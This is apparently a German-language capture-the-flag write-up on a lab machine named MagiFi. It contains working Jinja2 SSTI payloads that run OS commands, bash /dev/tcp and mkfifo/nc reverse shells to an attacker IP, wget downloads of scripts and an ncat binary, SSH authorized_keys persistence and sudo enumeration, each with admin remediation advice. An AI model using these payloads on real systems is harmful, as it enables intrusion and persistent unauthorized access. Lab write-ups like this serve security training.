Analyse: Dies zeigt einen konkreten SSTI-Payload, der in das "Name"-Feld der DOCX-Vorlage eingefügt wurde. Der Payload verwendet Jinja2-Syntax (`{{ ... }}`) und Python-Interna, um Betriebssystembefehle auszuführen:

Der Wert für "Pet's Name" ist auf "ben" gesetzt, was möglicherweise mit der Datei `ben.txt` zusammenhängt.

Bewertung: Dies ist ein gezielter Versuch, eine SSTI-Schwachstelle auszunutzen, um Betriebssystembefehle auszuführen. Die Fähigkeit, das `os`-Modul zu importieren und `popen` aufzurufen, würde eine kritische Schwachstelle bestätigen und Remote Code Execution (RCE) ermöglichen.

Empfehlung (Pentester): Laden Sie das modifizierte Dokument hoch und analysieren Sie die Antwort der Anwendung. Wenn der `ls -la`-Befehl erfolgreich ausgeführt wird und seine Ausgabe im gerenderten Ergebnis (z.B. auf einer Bestätigungsseite) erscheint, ist die SSTI-Schwachstelle bestätigt und RCE möglich.
Empfehlung (Admin): **Dringend beheben!** Validieren und escapen Sie alle Benutzereingaben, die in Templates verwendet werden. Aktualisieren Sie die Template-Engine und das Web-Framework auf die neuesten Versionen. Führen Sie einen Code-Audit durch, um alle Vorkommen von unsicherer Template-Verarbeitung zu finden.

 Name: [total 32
drwxr-xr-x 5 harry_potter harry_potter 4096 Feb 12 23:47 .
drwxr-xr-x 3 harry_potter harry_potter 4096 Feb  4 10:04 ..
-rw-r--r-- 1 harry_potter harry_potter 5875 Sep 26 18:42 app.py
-rw-r--r-- 1 harry_potter harry_potter   61 Feb 12 23:45 ben.sh
drwxr-xr-x 3 harry_potter harry_potter 4096 Sep 25 13:58 static
drwxr-xr-x 2 harry_potter harry_potter 4096 Sep 27 08:56 templates
drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 12 23:47 uploads
 
------------------------------------------------------------------------- 
                     

Analyse: Dies ist die (vermutete) Ausgabe, die von der Webanwendung zurückgegeben wurde, nachdem das Dokument mit dem vorherigen SSTI-Payload im "Name"-Feld hochgeladen wurde. Die Ausgabe entspricht dem Ergebnis des `ls -la`-Befehls, der als Teil des Payloads ausgeführt wurde. Sie zeigt den Inhalt des Arbeitsverzeichnisses der Webanwendung, das dem Benutzer `harry_potter` gehört. Eine Datei `ben.sh` ist sichtbar.

Bewertung: **Fantastisch! Die SSTI-Schwachstelle ist bestätigt und ermöglicht Remote Code Execution!** Der Angreifer kann nun beliebige Befehle im Kontext des Benutzers ausführen, unter dem die Webanwendung läuft (hier `harry_potter`).

Empfehlung (Pentester): Nutzen Sie die SSTI, um eine stabilere Zugriffsmethode zu etablieren, z.B. eine Reverse Shell. Modifizieren Sie den Payload, um einen Befehl auszuführen, der eine Verbindung zu Ihrem Listener aufbaut.
Empfehlung (Admin): **Höchste Priorität!** Beheben Sie die SSTI-Schwachstelle sofort durch korrektes Escaping von Benutzereingaben in Templates. Aktualisieren Sie alle Bibliotheken. Da RCE möglich war, betrachten Sie den Server als potenziell kompromittiert und führen Sie eine Untersuchung durch.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cp ben.sh /tmp/ben.sh; chmod +x /tmp/ben.sh;ls -la /tmp").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Ein neuer SSTI-Payload im "Name"-Feld. Dieser Payload kopiert die Datei `ben.sh` (die im vorherigen Schritt im Arbeitsverzeichnis der App gesehen wurde) nach `/tmp/ben.sh`, macht sie ausführbar (`chmod +x`) und listet dann den Inhalt von `/tmp` auf.

Bewertung: Der Pentester versucht, das Skript `ben.sh` in ein allgemein zugängliches und beschreibbares Verzeichnis (`/tmp`) zu kopieren, um es von dort aus leichter ausführen zu können.

Empfehlung (Pentester): Überprüfen Sie die zurückgegebene Ausgabe, um zu sehen, ob der Kopiervorgang erfolgreich war und welche anderen Dateien sich in `/tmp` befinden.
Empfehlung (Admin): Die Empfehlungen zur Behebung der SSTI bleiben bestehen.

                            <li>Name: [total 56
drwxrwxrwt 13 root         root         4096 Feb 12 23:49 .
drwxr-xr-x 19 root         root         4096 Sep 25 06:57 ..
-rwxr-xr-x  1 harry_potter harry_potter   61 Feb 12 23:50 ben.sh
drwxrwxrwt  2 root         root         4096 Feb 12 20:04 .font-unix
drwxrwxrwt  2 root         root         4096 Feb 12 20:04 .ICE-unix
drwx------  3 root         root         4096 Feb 12 20:04 snap-private-tmp
drwx------  3 root         root         4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-ModemManager.service-lLtKuj
drwx------  3 root         root         4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-logind.service-DhJj8h
drwx------  3 root         root         4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-resolved.service-h9Iagg
drwx------  3 root         root         4096 Feb 12 20:04 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-systemd-timesyncd.service-gvnkig
drwx------  3 root         root         4096 Feb 12 20:13 systemd-private-f3cd7e53f972452cbf20cfdb8ca3b373-upower.service-HSVokj
drwxrwxrwt  2 root         root         4096 Feb 12 20:04 .Test-unix
drwxrwxrwt  2 root         root         4096 Feb 12 20:04 .X11-unix
drwxrwxrwt  2 root         root         4096 Feb 12 20:04 .XIM-unix
                     

Analyse: Die Ausgabe des vorherigen SSTI-Payloads wird angezeigt. Sie enthält die Auflistung des `/tmp`-Verzeichnisses. Man sieht, dass die Datei `ben.sh` erfolgreich nach `/tmp` kopiert wurde und Ausführungsrechte besitzt (`-rwxr-xr-x`). Das Verzeichnis enthält auch verschiedene System- und Socket-Dateien.

Bewertung: Der Kopiervorgang war erfolgreich. Das Skript `ben.sh` ist nun in `/tmp` und bereit zur Ausführung.

Empfehlung (Pentester): Führen Sie das Skript `/tmp/ben.sh` über einen weiteren SSTI-Payload aus, um zu sehen, was es tut. Es ist wahrscheinlich eine Reverse Shell oder ein anderer bösartiger Payload.
Empfehlung (Admin): Überwachen Sie das `/tmp`-Verzeichnis auf verdächtige ausführbare Dateien. Beschränken Sie nach Möglichkeit die Ausführung von Skripten aus `/tmp` (z.B. durch Mount-Optionen wie `noexec`, obwohl dies oft umgangen werden kann).

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("./tmp/ben.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Dieser SSTI-Payload versucht, das Skript `/tmp/ben.sh` auszuführen. Da der Pfad mit `./tmp/ben.sh` angegeben ist und der aktuelle Pfad der Anwendung wahrscheinlich `/home/harry_potter/Hogwarts_web/` ist, wird dies fehlschlagen. Der korrekte Pfad wäre `/tmp/ben.sh`.

Bewertung: Der Payload ist syntaktisch korrekt für SSTI, aber der Pfad zum Skript ist falsch angegeben. Dieser Versuch wird wahrscheinlich nicht funktionieren.

Empfehlung (Pentester): Korrigieren Sie den Pfad im Payload zu `/tmp/ben.sh`.
Empfehlung (Admin): SSTI beheben.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cat /tmp/ben.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Dieser Payload verwendet SSTI, um den Inhalt des Skripts `/tmp/ben.sh` auszulesen.

Bewertung: Eine gute Methode, um den Inhalt des Skripts zu überprüfen, bevor es ausgeführt wird, oder wenn die direkte Ausführung fehlschlägt.

Empfehlung (Pentester): Analysieren Sie die Ausgabe (im nächsten Block), um zu verstehen, was das Skript tut.
Empfehlung (Admin): SSTI beheben.

 Name: [!#/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
                     

Analyse: Dies ist die Ausgabe des `cat /tmp/ben.sh`-Befehls aus dem vorherigen SSTI-Payload. Das Skript `/tmp/ben.sh` enthält einen Shebang (`#!/bin/bash`) und einen Befehl zum Aufbau einer interaktiven Bash-Reverse-Shell zum Angreifer-Host `192.168.2.199` auf Port `4444`.

Bewertung: Das Skript ist eindeutig eine Reverse Shell. Es ist nun klar, was bei der Ausführung von `/tmp/ben.sh` passieren wird.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 4444 (`nc -lvnp 4444`) und führen Sie dann das Skript `/tmp/ben.sh` über einen korrigierten SSTI-Payload aus (z.B. `{{ ...popen("/tmp/ben.sh").read() }}`).
Empfehlung (Admin): SSTI beheben. Entfernen Sie das bösartige Skript `/tmp/ben.sh`.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;pwd;./tmp/ben.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Ein weiterer Versuch, `/tmp/ben.sh` auszuführen. Der Payload wechselt zuerst nach `/tmp` (`cd /tmp`), gibt das aktuelle Verzeichnis aus (`pwd`) und versucht dann `./tmp/ben.sh` auszuführen. Der letzte Teil ist immer noch falsch, da `./tmp/ben.sh` von `/tmp` aus nicht existiert. Es sollte `./ben.sh` oder `/tmp/ben.sh` heißen.

Bewertung: Dieser Payload wird ebenfalls fehlschlagen, die Shell auszuführen, aber die Ausgabe von `pwd` wird möglicherweise zurückgegeben.

Empfehlung (Pentester): Korrigieren Sie den Ausführungsbefehl zu `./ben.sh` oder `/tmp/ben.sh` innerhalb des `popen()`-Aufrufs.
Empfehlung (Admin): SSTI beheben.

Application Received

Thank you. Your application to Hogwarts has been successfully submitted with the following data:

    Name: [/tmp ]
    Surname: [Your Surname]
    Address: [Your Address]
    Birthday: [Your Birthday]
    Pet Breed: [Your Pets Breed]
    Pet's Name: [ben]
                     

Analyse: Dies ist die Antwortseite der Anwendung nach dem Hochladen des Dokuments mit dem vorherigen (fehlerhaften) Payload. Wie erwartet, wurde nur die Ausgabe von `pwd` (`/tmp`) im "Name"-Feld reflektiert. Die Shell wurde nicht ausgeführt.

Bewertung: Bestätigt, dass der vorherige Payload die Shell nicht gestartet hat, aber die Codeausführung an sich funktioniert.

Empfehlung (Pentester): Korrigieren Sie den Payload zur Ausführung von `/tmp/ben.sh`.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f' > /tmp/ben.sh; cd /tmp; ./tmp/ben.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Dieser SSTI-Payload versucht, mehrere Dinge auf einmal zu tun:

  1. Überschreibt `/tmp/ben.sh` mit einem neuen Inhalt: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f`. Dies ist die robustere Reverse-Shell-Variante mit Named Pipes.
  2. Wechselt nach `/tmp`.
  3. Versucht, `./tmp/ben.sh` auszuführen (immer noch der falsche relative Pfad von `/tmp` aus).

Bewertung: Der Versuch, das Skript mit einer neuen Payload zu überschreiben, ist sinnvoll, aber die Ausführung wird aufgrund des Pfadfehlers wahrscheinlich wieder fehlschlagen.

Empfehlung (Pentester): Teilen Sie die Aktionen auf: 1. Payload zum Schreiben des korrekten Skriptinhalts nach `/tmp/ben.sh`. 2. Payload zur Ausführung von `/tmp/ben.sh` (mit korrektem Pfad).
Empfehlung (Admin): SSTI beheben.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("wget 192.168.2.199/rever.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Ein neuer Ansatz: Dieser SSTI-Payload versucht, ein Skript namens `rever.sh` vom HTTP-Server des Angreifers (auf Port 80, da kein Port angegeben ist) herunterzuladen.

Bewertung: Dies ist eine alternative Methode, um einen Reverse-Shell-Payload auf das Zielsystem zu bekommen, anstatt ihn direkt in das Skript zu schreiben.

Empfehlung (Pentester): Stellen Sie sicher, dass der HTTP-Server auf dem Angreifer-System läuft und die Datei `rever.sh` (mit einem Reverse-Shell-Payload) bereitstellt. Überprüfen Sie die Antwort, ob der Download erfolgreich war (die Ausgabe von `wget` wird ggf. zurückgegeben).
Empfehlung (Admin): SSTI beheben. Egress-Filtering kann Downloads von externen/internen Quellen blockieren.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("which wget; cd /tmp;wget 192.168.2.199/rever.sh").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
                     

Analyse: Dieser Payload verfeinert den vorherigen:

  1. `which wget`: Überprüft, ob `wget` verfügbar ist und gibt den Pfad zurück.
  2. `cd /tmp`: Wechselt nach `/tmp`.
  3. `wget 192.168.2.199/rever.sh`: Lädt das Skript herunter.

Bewertung: Dieser Payload ist besser, da er zuerst die Verfügbarkeit von `wget` prüft und sicherstellt, dass der Download in `/tmp` stattfindet.

Empfehlung (Pentester): Analysieren Sie die Antwort, um den Pfad von `wget` zu sehen und den Erfolg des Downloads zu bestätigen.
Empfehlung (Admin): SSTI beheben.

####

Application Received

Thank you. Your application to Hogwarts has been successfully submitted with the following data:

    Name: [/usr/bin/wget ]
    Surname: [Your Surname]
    Address: [Your Address]
    Birthday: [Your Birthday]
    Pet Breed: [Your Pets Breed]
    Pet's Name: [ben]
                     

Analyse: Die Antwort der Anwendung auf den vorherigen Payload. Sie zeigt nur die Ausgabe von `which wget` (`/usr/bin/wget`) im "Name"-Feld. Die Ausgabe von `wget` selbst (die den Erfolg des Downloads anzeigen würde) fehlt, möglicherweise weil `popen(...).read()` nur die erste Zeile oder eine begrenzte Menge an Ausgabe zurückgibt, oder weil `wget` im Hintergrund läuft.

Bewertung: Bestätigt, dass `wget` vorhanden ist. Der Erfolg des Downloads ist unklar, muss aber angenommen werden, basierend auf der Logzeile des HTTP-Servers (nächster Block).

Empfehlung (Pentester): Gehen Sie davon aus, dass `rever.sh` in `/tmp` heruntergeladen wurde. Der nächste Schritt ist, es ausführbar zu machen und auszuführen.
Empfehlung (Admin): SSTI beheben.

bash -c "/bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1"
                     

Analyse: Dies ist der Inhalt der Datei `rever.sh`, die im vorherigen Schritt heruntergeladen wurde. Es handelt sich um den Standard-Bash-Reverse-Shell-Einzeiler.

Bewertung: Der Payload für die Reverse Shell ist nun auf dem Zielsystem in `/tmp/rever.sh`.

Empfehlung (Pentester): Machen Sie `/tmp/rever.sh` ausführbar (`chmod +x /tmp/rever.sh`) und führen Sie es (`/tmp/rever.sh`) über die SSTI aus. Starten Sie vorher einen Listener auf Port 4444.
Empfehlung (Admin): SSTI beheben.

┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:00:02] "GET /rever.sh HTTP/1.1" 200 -
                     

Analyse: Die Logausgabe des Python-HTTP-Servers auf der Angreifer-Maschine bestätigt, dass die Datei `rever.sh` erfolgreich vom Zielsystem (`192.168.2.175`) heruntergeladen wurde.

Bewertung: Dies bestätigt den Erfolg des `wget`-Befehls, der über die SSTI ausgeführt wurde.

Empfehlung (Pentester): Fahren Sie mit dem Ausführen des heruntergeladenen Skripts fort.
Empfehlung (Admin): SSTI beheben, Egress-Filtering.

[Link: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat | Ziel: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat]
                     

Analyse: Ein Link zu einem Repository mit statisch kompilierten Binärdateien, speziell zu `ncat` (einer verbesserten Version von `netcat`).

Bewertung: Statisch kompilierte Binaries sind nützlich, da sie keine externen Bibliotheken benötigen und daher auf vielen Systemen ohne Kompatibilitätsprobleme laufen. Der Pentester erwägt offenbar, `ncat` zu verwenden, möglicherweise weil `nc -e` nicht verfügbar ist oder `ncat` stabilere Verbindungen bietet.

Empfehlung (Pentester): Laden Sie das statische `ncat`-Binary herunter und übertragen Sie es auf das Zielsystem. Verwenden Sie es dann für die Reverse Shell, z.B. mit `./ncat -e /bin/bash ANGREIFER_IP PORT`.
Empfehlung (Admin): Verhindern Sie das Herunterladen und Ausführen nicht vertrauenswürdiger Binärdateien auf Ihren Systemen (z.B. durch AppLocker-ähnliche Mechanismen, regelmäßige Scans).

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;wget 192.168.2.199/ncat;chmod +x ncat;./ncat -e /bin/sh 192.168.2.199 4444").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
###
                     

Analyse: Dieser SSTI-Payload versucht nun, den gesamten Prozess des Herunterladens, Ausführbarmachens und Ausführens von `ncat` für eine Reverse Shell in einem einzigen Befehl über `popen` abzuwickeln.

Bewertung: Dies ist ein effizienter Ansatz, um die Reverse Shell mit `ncat` zu etablieren. Die Verwendung von `-e /bin/sh` (oder `/bin/bash`) mit `ncat` ist eine gängige Methode für Reverse Shells.

Empfehlung (Pentester): Stellen Sie sicher, dass der HTTP-Server auf dem Angreifer-System das `ncat`-Binary bereitstellt und ein Listener auf Port 4444 läuft. Führen Sie diesen Payload aus.
Empfehlung (Admin): SSTI beheben. Egress-Filtering. Verhindern der Ausführung von Binaries aus `/tmp`.

┌──(root㉿CCat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:00:02] "GET /rever.sh HTTP/1.1" 200 -
192.168.2.175 - - [13/Feb/2025 01:05:52] "GET /ncat HTTP/1.1" 200 -
                     

Analyse: Die Logausgabe des HTTP-Servers bestätigt, dass nun auch das `ncat`-Binary erfolgreich vom Zielsystem heruntergeladen wurde.

Bewertung: Der Download-Teil des vorherigen Payloads war erfolgreich.

Empfehlung (Pentester): Der `ncat`-Befehl im Payload sollte nun ausgeführt worden sein und eine Verbindung zum Listener auf Port 4444 hergestellt haben.
Empfehlung (Admin): SSTI beheben, Egress-Filtering.

drwxrwxrwt 13 root         root            4096 Feb 13 00:05 .
drwxr-xr-x 19 root         root            4096 Sep 25 06:57 ..
------------------------------------------------------------------------- 
-rwxr-xr-x  1 harry_potter harry_potter      81 Feb 12 23:57 ben.sh     
------------------------------------------------------------------------- 
drwxrwxrwt  2 root         root            4096 Feb 12 20:04 .font-unix
drwxrwxrwt  2 root         root            4096 Feb 12 20:04 .ICE-unix
------------------------------------------------------------------------- 
-rwxr-xr-x  1 harry_potter harry_potter 2914424 Feb 13 00:03 ncat      
------------------------------------------------------------------------- 
-rw-r--r--  1 harry_potter harry_potter      59 Feb 10 23:25 rever.sh   
------------------------------------------------------------------------- 
drwx------  3 root         root            4096 Feb 12 20:04 snap-private-tmp
[...]
                     

Analyse: Dies scheint eine `ls -la /tmp`-Ausgabe zu sein, die über einen SSTI-Payload erzeugt wurde. Sie zeigt die heruntergeladenen Dateien `ben.sh`, `ncat` und `rever.sh` im `/tmp`-Verzeichnis. `ncat` und `ben.sh` haben Ausführungsrechte.

Bewertung: Bestätigt das Vorhandensein der Payloads im `/tmp`-Verzeichnis.

Empfehlung (Pentester): Da der `ncat`-Payload bereits ausgeführt wurde, sollte die Reverse Shell aktiv sein. Falls nicht, könnte hier versucht werden, `rever.sh` auszuführen.
Empfehlung (Admin): Überwachen Sie `/tmp` auf verdächtige Dateien.

Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;chmod +x rever.sh; ls -la;./rever.sh;mkdir ~/.ssh;ls -la").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]

  endlich
------------------------------------------------------------------------- 
                     

Analyse: Ein weiterer SSTI-Payload, der versucht:

  1. Nach `/tmp` zu wechseln.
  2. `rever.sh` ausführbar zu machen.
  3. Den Inhalt von `/tmp` aufzulisten.
  4. `./rever.sh` auszuführen (dies sollte die Reverse Shell auf Port 4444 starten).
  5. Ein `.ssh`-Verzeichnis im Home-Verzeichnis des `harry_potter`-Benutzers zu erstellen.
  6. Den Inhalt des aktuellen Verzeichnisses (wahrscheinlich `/tmp`) erneut aufzulisten.
Der Kommentar "endlich" deutet darauf hin, dass dieser Versuch erfolgreich war, die Reverse Shell zu starten.

Bewertung: Dieser Payload kombiniert mehrere Schritte und führt erfolgreich das `rever.sh`-Skript aus, wodurch die Reverse Shell etabliert wird. Das Erstellen des `.ssh`-Verzeichnisses bereitet einen späteren SSH-Zugang vor.

Empfehlung (Pentester): Wechseln Sie zum Netcat-Listener auf Port 4444, um die Reverse Shell zu verwenden.
Empfehlung (Admin): SSTI beheben.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.175] 36846
bash: cannot set terminal process group (800): Inappropriate ioctl for device
bash: no job control in this shell
harry_potter@MagiFi:/tmp$ ^C
                               
harry_potter@MagiFi:/tmp$ id
id
uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter)
harry_potter@MagiFi:/tmp$ 
                     

Analyse: Der Netcat-Listener auf Port 4444 empfängt die Verbindung von `rever.sh`. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `harry_potter` (UID 1006) läuft. Die Shell ist noch nicht aufgewertet (kein volles TTY).

Bewertung: **Initial Access als Benutzer `harry_potter` erfolgreich etabliert!** Die SSTI-Schwachstelle wurde erfolgreich zur Ausführung einer Reverse Shell genutzt.

Empfehlung (Pentester): Stabilisieren Sie die Shell (TTY-Upgrade). Beginnen Sie mit der Enumeration als `harry_potter`, um Wege zur Privilegienerweiterung zu finden.
Empfehlung (Admin): SSTI beheben. Untersuchen Sie das System auf Kompromittierung.

harry_potter@MagiFi:/tmp$ cd ~
[Keine Ausgabe]
harry_potter@MagiFi:~$ ls -la
total 32
drwxr-xr-x 4 harry_potter harry_potter 4096 Feb 13 00:11 .
drwxr-xr-x 7 root         root         4096 Sep 27 11:46 ..
lrwxrwxrwx 1 root         root            9 Sep 27 11:45 .bash_history -> /dev/null
-rw-r--r-- 1 harry_potter harry_potter  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 harry_potter harry_potter 3771 Feb 25  2020 .bashrc
drwxr-xr-x 5 harry_potter harry_potter 4096 Feb 12 23:47 Hogwarts_web
-rw-r--r-- 1 harry_potter harry_potter  807 Feb 25  2020 .profile
drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 13 00:11 .ssh
-rw-r--r-- 1 harry_potter harry_potter   43 Feb  4 10:04 user.txt
                     

Analyse: In der Reverse Shell als `harry_potter` wird in das Home-Verzeichnis gewechselt (`cd ~`) und dessen Inhalt aufgelistet (`ls -la`). Man sieht das Web-Anwendungsverzeichnis (`Hogwarts_web`), das zuvor erstellte `.ssh`-Verzeichnis und die `user.txt`-Datei.

Bewertung: Bestätigt den Inhalt des Home-Verzeichnisses und das Vorhandensein der User-Flag-Datei.

Empfehlung (Pentester): Lesen Sie die `user.txt`. Bereiten Sie den SSH-Zugang vor, indem Sie Ihren öffentlichen Schlüssel in `~/.ssh/authorized_keys` platzieren.
Empfehlung (Admin): Keine spezifische Aktion, außer der allgemeinen Absicherung.

harry_potter@MagiFi:~$ echo 'ssh-ed25519 AA...KVI7jwy1T7 root@CCat' > authorized_keys
<hHjJrpEfFDFeKVI7jwy1T7 root@CCat' > authorized_keys  
                     
harry_potter@MagiFi:~$ ls
authorized_keys
Hogwarts_web
user.txt
                     
harry_potter@MagiFi:~$ cd .ssh
[Keine Ausgabe]
harry_potter@MagiFi:~/.ssh$ ls
[Keine Ausgabe]
harry_potter@MagiFi:~/.ssh$ mv authorized_keys .ssh
mv: cannot stat 'authorized_keys': No such file or directory
                     
harry_potter@MagiFi:~/.ssh$ pwd
/home/harry_potter/.ssh
                     
harry_potter@MagiFi:~/.ssh$ ls -la
total 8
drwxr-xr-x 2 harry_potter harry_potter 4096 Feb 13 00:11 .
drwxr-xr-x 4 harry_potter harry_potter 4096 Feb 13 00:14 ..
                     
harry_potter@MagiFi:~/.ssh$ mv ~/authorized_keys .
[Keine Ausgabe]
harry_potter@MagiFi:~/.ssh$ ls
authorized_keys
                     

Analyse: Diese Befehle zielen darauf ab, den öffentlichen SSH-Schlüssel des Angreifers (`ssh-ed25519 ... root@CCat`) in die Datei `authorized_keys` im `.ssh`-Verzeichnis des `harry_potter`-Benutzers zu schreiben, um einen passwortlosen SSH-Zugang zu ermöglichen.

  1. `echo '...' > authorized_keys`: Schreibt den Schlüssel in eine neue Datei `authorized_keys` im Home-Verzeichnis (`~`).
  2. `ls`: Bestätigt, dass `authorized_keys` im Home-Verzeichnis erstellt wurde.
  3. `cd .ssh`: Wechselt in das `.ssh`-Verzeichnis.
  4. `mv authorized_keys .ssh`: Versuch, die Datei von `.` nach `.ssh` zu verschieben (funktioniert nicht, da die Datei nicht im aktuellen Verzeichnis `.ssh` ist).
  5. `pwd`, `ls -la`: Bestätigen das aktuelle Verzeichnis und dass es leer ist.
  6. `mv ~/authorized_keys .`: Verschiebt die im Home-Verzeichnis erstellte `authorized_keys`-Datei korrekt in das aktuelle Verzeichnis (`~/.ssh`).
  7. `ls`: Bestätigt, dass die Datei nun im `.ssh`-Verzeichnis liegt.

Bewertung: Das Einrichten des SSH-Zugangs über `authorized_keys` ist eine Standardmethode für Persistenz und bequemeren Zugriff. Die anfänglichen `mv`-Fehler zeigen die Tücken der Arbeit in einer einfachen Reverse Shell ohne vollständige Pfadübersicht.

Empfehlung (Pentester): Testen Sie nun den SSH-Login als `harry_potter` von der Angreifer-Maschine aus mit dem entsprechenden privaten Schlüssel. Dies sollte eine stabilere, voll funktionsfähige Shell liefern.
Empfehlung (Admin): Überwachen Sie Änderungen in `.ssh/authorized_keys`-Dateien. Verwenden Sie zentrale Konfigurationsmanagement-Tools, um die Verwaltung von SSH-Schlüsseln zu steuern. Deaktivieren Sie SSH-Logins für Benutzer, die sie nicht benötigen.

┌──(root㉿CCat)-[~/.ssh] └─# ssh harry_potter@192.168.2.175
The authenticity of host '192.168.2.175 (192.168.2.175)' can't be established.
ED25519 key fingerprint is SHA256:yadPiiTBWIcUiyXbuLpOyKDRliIPWMU4RG0ioHGUZq4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.175' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)

 * Documentation:  [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
 * Management:     [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
 * Support:        [Link: https://ubuntu.com/pro | Ziel: https://ubuntu.com/pro]

 System information as of Thu 13 Feb 2025 12:15:25 AM UTC


Expanded Security Maintenance for Applications is not enabled.

82 updates can be applied immediately.
62 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

8 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ 
                     

Analyse: Der Angreifer versucht nun, sich per SSH als Benutzer `harry_potter` auf dem Zielsystem `192.168.2.175` anzumelden.

Bewertung: Der SSH-Zugang über den Public Key wurde erfolgreich eingerichtet und genutzt. Dies bietet nun eine stabile und interaktive Shell als Benutzer `harry_potter`.

Empfehlung (Pentester): Nutzen Sie diese stabile SSH-Verbindung für die weitere Enumeration und Privilegienerweiterung. Führen Sie `sudo -l` aus, um die Sudo-Berechtigungen zu überprüfen.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass nur autorisierte Schlüssel verwendet werden und dass private Schlüssel sicher aufbewahrt werden (idealerweise mit Passphrasen geschützt).

$ sudo -l
Matching Defaults entries for harry_potter on MagiFi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry_potter may run the following commands on MagiFi:
    (root) NOPASSWD: /usr/sbin/aireplay-ng, /usr/sbin/airmon-ng, /usr/sbin/airodump-ng,
        /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
                     

Analyse: Der Befehl `sudo -l`, ausgeführt in der SSH-Shell als `harry_potter`, zeigt die Sudo-Berechtigungen für diesen Benutzer an. Die Ausgabe zeigt, dass `harry_potter` mehrere Befehle aus dem `aircrack-ng`-Paket (`aireplay-ng`, `airmon-ng`, `airodump-ng`, `airdecap-ng`) sowie `hostapd-mana` als `root` und ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: **Kritischer Fund für die Privilegienerweiterung!** Die Berechtigung, `hostapd-mana` (oder auch die anderen Aircrack-Tools, falls diese missbraucht werden können) als Root ohne Passwort auszuführen, ist ein direkter Weg zur Eskalation. Viele Programme, die als Root laufen, können auf irgendeine Weise zur Ausführung anderer Befehle oder zum Lesen/Schreiben beliebiger Dateien missbraucht werden.

